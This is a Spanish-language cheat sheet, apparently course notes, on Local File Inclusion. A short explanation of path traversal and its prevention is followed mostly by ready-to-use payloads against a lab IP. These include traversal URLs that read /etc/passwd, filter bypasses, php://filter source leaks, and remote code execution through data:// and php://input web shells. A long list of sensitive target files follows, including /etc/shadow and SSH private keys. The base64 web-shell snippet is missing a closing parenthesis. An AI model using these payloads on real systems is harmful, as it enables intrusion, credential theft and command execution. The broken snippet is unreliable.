# Local File Inclusion (LFI)

## Introduction

La vulnerabilidad **Local File Inclusion** (**LFI**) es una vulnerabilidad de seguridad informática que se produce cuando una aplicación web **no valida adecuadamente** las entradas de usuario, permitiendo a un atacante **acceder a archivos locales** en el servidor web.

En muchos casos, los atacantes aprovechan la vulnerabilidad de LFI al abusar de parámetros de entrada en la aplicación web. Los parámetros de entrada son datos que los usuarios ingresan en la aplicación web, como las URL o los campos de formulario. Los atacantes pueden manipular los parámetros de entrada para incluir rutas de archivo local en la solicitud, lo que puede permitirles acceder a archivos en el servidor web. Esta técnica se conoce como “**Path Traversal**” y se utiliza comúnmente en ataques de LFI.

En el ataque de Path Traversal, el atacante utiliza caracteres especiales y caracteres de escape en los parámetros de entrada para navegar a través de los directorios del servidor web y acceder a archivos en ubicaciones sensibles del sistema.

Por ejemplo, el atacante podría incluir “**../**” en el parámetro de entrada para navegar hacia arriba en la estructura del directorio y acceder a archivos en ubicaciones sensibles del sistema.

Para prevenir los ataques LFI, es importante que los desarrolladores de aplicaciones web validen y filtren adecuadamente la entrada del usuario, limitando el acceso a los recursos del sistema y asegurándose de que los archivos sólo se puedan incluir desde ubicaciones permitidas. Además, las empresas deben implementar medidas de seguridad adecuadas, como el cifrado de archivos y la limitación del acceso de usuarios no autorizados a los recursos del sistema.

A continuación, se os proporciona el enlace directo a la herramienta que utilizamos al final de esta clase para abusar de los ‘**Filter Chains**‘ y conseguir así ejecución remota de comandos:

***

## Payloads

<pre class="language-bash"><code class="lang-bash"># Basic LFI
http://10.10.10.10/index.php?page=../../../../../etc/passwd

# Basic LFI ingresando ....// para intentar burlar str_replace
http://10.10.10.10/index.php?page=....//....//....//....//....//....//etc/passwd
http://10.10.10.10/index.php?page=....//....//....//....//....//....//etc/////passwd

# Método para intentar burlar función preg_match
<strong>http://10.10.10.10/index.php?page=....//....//....//....//....//....//etc/////passwd
</strong><strong>http://10.10.10.10/index.php?page=....//....//....//....//....//....//etc/./passwd
</strong></code></pre>

## Wrappers

<pre class="language-bash"><code class="lang-bash"><strong># Mostrar contenido en Base64 a través de Wrappers
</strong><strong>http://10.10.10.10/index.php?page=php://filter/convert.base64-encode/resource=index.php
</strong><strong>
</strong><strong># Mostrar contenido en Rot13 a través de Wrappers
</strong>http://10.10.10.10/index.php?page=php://filter/read=string.rot13/resource=index.php

# Mostrar contenido en UTF-8/UTF-16
http://10.10.10.10./index.php?page=php://filter/convert.iconv.utf-8.utf-16/resource=index.php
</code></pre>

### Command Execution

```bash
❯ echo "<?php system(\$_GET['cmd']; ?>" | base64; echo
PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXTsgPz4K
```

```bash
# Sustituir <whoami> por el código a ejecutar
http://10.10.10.10./index.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXTsgPz4K&cmd=whoami
```

```
# Wrapper para obtener RCE (Interceptar solicitud en BurpSuite)
php://input

<?php system("whoami"); ?>
```

<figure><img src="https://228013500-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fnht2ZrhktWnDwC5LAkip%2Fuploads%2FDuOMdnQM6s535YRAsSrC%2Fimagen.png?alt=media&#x26;token=71a0ec46-09cc-4bdb-a02b-0ad1c5402b07" alt=""><figcaption></figcaption></figure>

## Interesting Files to discover

```bash
:linux:
 - /etc/issue
 - /etc/motd
 - /etc/passwd
 - /etc/shadow
 - /etc/group
 - /etc/hosts
 - /etc/security/group
 - /etc/security/passwd
 - /etc/security/user
 - /etc/security/environ
 - /etc/security/limits
 - /proc/self/environ
 - /usr/lib/security/mkuser.default
 - /home/<x>/.ssh/id_rsa
 - /root/.ssh/id_rsa

 - /etc/nginx/nginx.conf
 - /etc/apache/httpd.conf
 - /etc/apache2/httpd.conf
 - /etc/apache2/apache2.conf
 - /etc/apache2/conf/httpd.conf
 - /usr/apache2/conf/httpd.conf
 - /usr/apache/conf/httpd.conf
 - /usr/local/apache/httpd.conf
 - /usr/local/apache/conf/httpd.conf
 - /usr/local/apache2/httpd.conf
 - /usr/local/apache2/conf/httpd.conf
 - /usr/local/httpd/conf/httpd.conf
 - /usr/local/etc/apache/httpd.conf
 - /usr/local/etc/apache2/httpd.conf
 - /usr/local/etc/apache22/httpd.conf
 - /usr/local/etc/apache/vhosts.conf
 - /usr/local/etc/apache/conf/httpd.conf
 - /usr/local/etc/apache2/conf/httpd.conf
 - /usr/local/etc/httpd/conf/httpd.conf
 - /usr/local/apps/apache2/conf/httpd.conf
 - /usr/local/apps/apache/conf/httpd.conf
 - /usr/pkg/etc/httpd/httpd.conf
 - /etc/httpd.conf
 - /etc/http/httpd.conf
 - /etc/httpd/httpd.conf
 - /etc/http/conf/httpd.conf
 - /etc/httpd/conf/httpd.conf
 - /etc/httpd/conf.d/vhost.conf
 - /etc/init.d/apache/httpd.conf
 - /etc/init.d/apache2/httpd.conf
 - /etc/apache/apache.conf
 - /etc/apache/conf/httpd.conf
 - /etc/apache2/sites-available/default
 - /etc/apache2/vhosts.d/default_vhost.include
 - /opt/apache/conf/httpd.conf
 - /opt/apache2/conf/httpd.conf
 - /var/www/conf/httpd.conf
 - /home/apache/httpd.conf
 - /home/apache/conf/httpd.conf
 - /var/www/vhosts/sitename/httpdocs//etc/init.d/apache
 - /private/etc/httpd/httpd.conf
 - /private/etc/httpd/httpd.conf.default
 - /Volumes/webBackup/opt/apache2/conf/httpd.conf
 - /Volumes/webBackup/private/etc/httpd/httpd.conf
 - /Volumes/webBackup/private/etc/httpd/httpd.conf.default

 - /logs/error.log
 - /logs/access.log
 - /logs/error_log
 - /logs/access_log
 - /var/log/httpd/access.log
 - /var/log/httpd/access_log
 - /var/log/httpd-error.log
 - /var/log/httpd-access.log
 - /var/log/httpd/error_log
 - /var/log/httpd/error.log
 - /var/log/apache/access.log
 - /var/log/apache/access_log
 - /var/log/apache/error.log
 - /var/log/apache/error_log
 - /var/log/apache2/access.log
 - /var/log/apache2/access_log
 - /var/log/apache2/error.log
 - /var/log/apache2/error_log
 - /var/log/nginx/access.log
 - /var/log/nginx/error.log
 - /var/log/access.log
 - /var/log/access_log
 - /var/log/aerror.log
 - /var/log/error_log
 - /var/www/logs/access.log
 - /var/www/logs/access_log
 - /var/www/logs/error.log
 - /var/www/logs/error_log
 - /usr/local/apache/logs/access.log
 - /usr/local/apache/logs/access_log
 - /usr/local/apache/logs/error.log
 - /usr/local/apache/logs/error_log
 - /usr/local/apache2/logs/access.log
 - /usr/local/apache2/logs/access_log
 - /usr/local/apache2/logs/error.log
 - /usr/local/apache2/logs/error_log
 - /etc/httpd/access.log
 - /etc/httpd/logs/access.log
 - /etc/httpd/logs/access_log
 - /etc/httpd/logs/error.log
 - /etc/httpd/logs/error_log
 - /etc/apache2/logs/access.log
 - /apache/logs/error.log
 - /apache/logs/access.log
 - /apache2/logs/error.log
 - /apache2/logs/access.log
 - /opt/lampp/logs/access.log
 - /opt/lampp/logs/access_log
 - /opt/lampp/logs/error.log
 - /opt/lampp/logs/error_log
 - /opt/xampp/logs/access.log
 - /opt/xampp/logs/access_log
 - /opt/xampp/logs/error.log
 - /opt/xampp/logs/error_log

 - /usr/local/php/httpd.conf
 - /usr/local/php4/httpd.conf
 - /usr/local/php5/httpd.conf
 - /usr/local/php/httpd.conf.php
 - /usr/local/php4/httpd.conf.php
 - /usr/local/php5/httpd.conf.php
 - /Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf
 - /Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf
 - /Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf
 - /Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php
 - /Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php
 - /Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php
 - /etc/php.ini
 - /bin/php.ini
 - /etc/httpd/php.ini
 - /usr/lib/php.ini
 - /usr/lib/php/php.ini
 - /usr/local/etc/php.ini
 - /usr/local/lib/php.ini
 - /usr/local/php/lib/php.ini
 - /usr/local/php4/lib/php.ini
 - /usr/local/php5/lib/php.ini
 - /usr/local/apache/conf/php.ini
 - /etc/php4.4/fcgi/php.ini
 - /etc/php4/apache/php.ini
 - /etc/php4/apache2/php.ini
 - /etc/php5/apache/php.ini
 - /etc/php5/apache2/php.ini
 - /etc/php/php.ini
 - /etc/php/php4/php.ini
 - /etc/php/apache/php.ini
 - /etc/php/apache2/php.ini
 - /web/conf/php.ini
 - /usr/local/Zend/etc/php.ini
 - /opt/xampp/etc/php.ini
 - /var/local/www/conf/php.ini
 - /etc/php/cgi/php.ini
 - /etc/php4/cgi/php.ini
 - /etc/php5/cgi/php.ini
 - /NetServer/bin/stable/apache/php.ini
 - /home2/bin/stable/apache/php.ini
 - /home/bin/stable/apache/php.ini
 - /Volumes/Macintosh_HD1/usr/local/php/lib/php.ini

 - /usr/local/cpanel/logs
 - /usr/local/cpanel/logs/stats_log
 - /usr/local/cpanel/logs/access_log
 - /usr/local/cpanel/logs/error_log
 - /usr/local/cpanel/logs/license_log
 - /usr/local/cpanel/logs/login_log
 - /var/cpanel/cpanel.config
 - /var/log/mysql/mysql-bin.log
 - /var/log/mysql.log
 - /var/log/mysqlderror.log
 - /var/log/mysql/mysql.log
 - /var/log/mysql/mysql-slow.log
 - /var/mysql.log
 - /var/lib/mysql/my.cnf
 - /etc/mysql/my.cnf
 - /etc/my.cnf
 - /etc/logrotate.d/proftpd
 - /www/logs/proftpd.system.log
 - /var/log/proftpd
 - /etc/proftp.conf
 - /etc/protpd/proftpd.conf
 - /etc/vhcs2/proftpd/proftpd.conf
 - /etc/proftpd/modules.conf
 - /var/log/vsftpd.log
 - /etc/vsftpd.chroot_list
 - /etc/logrotate.d/vsftpd.log
 - /etc/vsftpd/vsftpd.conf
 - /etc/vsftpd.conf
 - /etc/chrootUsers
 - /var/log/xferlog
 - /var/adm/log/xferlog
 - /etc/wu-ftpd/ftpaccess
 - /etc/wu-ftpd/ftphosts
 - /etc/wu-ftpd/ftpusers
 - /usr/sbin/pure-config.pl
 - /usr/etc/pure-ftpd.conf
 - /etc/pure-ftpd/pure-ftpd.conf
 - /usr/local/etc/pure-ftpd.conf
 - /usr/local/etc/pureftpd.pdb
 - /usr/local/pureftpd/etc/pureftpd.pdb
 - /usr/local/pureftpd/sbin/pure-config.pl
 - /usr/local/pureftpd/etc/pure-ftpd.conf
 - /etc/pure-ftpd.conf
 - /etc/pure-ftpd/pure-ftpd.pdb
 - /etc/pureftpd.pdb
 - /etc/pureftpd.passwd
 - /etc/pure-ftpd/pureftpd.pdb
 - /usr/ports/ftp/pure-ftpd/
 - /usr/ports/net/pure-ftpd/
 - /usr/pkgsrc/net/pureftpd/
 - /usr/ports/contrib/pure-ftpd/
 - /var/log/pure-ftpd/pure-ftpd.log
 - /logs/pure-ftpd.log
 - /var/log/pureftpd.log
 - /var/log/ftp-proxy/ftp-proxy.log
 - /var/log/ftp-proxy
 - /var/log/ftplog
 - /etc/logrotate.d/ftp
 - /etc/ftpchroot
 - /etc/ftphosts
 - /var/log/exim_mainlog
 - /var/log/exim/mainlog
 - /var/log/maillog
 - /var/log/exim_paniclog
 - /var/log/exim/paniclog
 - /var/log/exim/rejectlog
 - /var/log/exim_rejectlog

:win:
 - C:\boot.ini
 - C:\php5\php.ini
 - C:\php4\php.ini
 - C:\php\php.ini
 - C:\Windows\php.ini
 - C:\WINNT\php.ini
 - C:\apache\php\php.ini
 - C:\xampp\apache\bin\php.ini
 - C:\phpStudy\Apache\conf\httpd.conf
 - C:\phpStudy\Apache\conf\vhosts.conf
 - C:\Windows\system32\inetsrv\MetaBase.xml
 - C:\Windows\System32\inetsrv\config\applicationHost.config
 - C:\wamp\bin\apache\logs\access.log
 - C:\wamp\bin\mysql\mysql5.5.24\wampserver.conf
 - C:\wamp\bin\apache\apache2.2.22\conf\httpd.conf
 - C:\wamp\bin\apache\apache2.2.22\conf\wampserver.conf
 - C:\wamp\bin\apache\apache2.2.22\conf\httpd.conf.build
 - C:\Program Files\Apache Group\Apache\logs\access.log
 - C:\Program Files\Apache Group\Apache\logs\error.log
 - C:\Program Files\Apache Group\Apache\conf\httpd.conf
 - C:\Program Files\Apache Group\Apache2\conf\httpd.conf
 - C:\Program Files (x86)\Apache Group\Apache\logs\access.log
 - C:\Program Files (x86)\Apache Group\Apache\logs\error.log
 - C:\Program Files\xampp\apache\conf\httpd.conf
 - C:\Program Files\Apache Software Foundation\Apache2.2\conf\httpd.conf
 - C:\Program Files\Apache Software Foundation\Apache2.2\logs\error.log
 - C:\Program Files\Apache Software Foundation\Apache2.2\logs\access.log
```
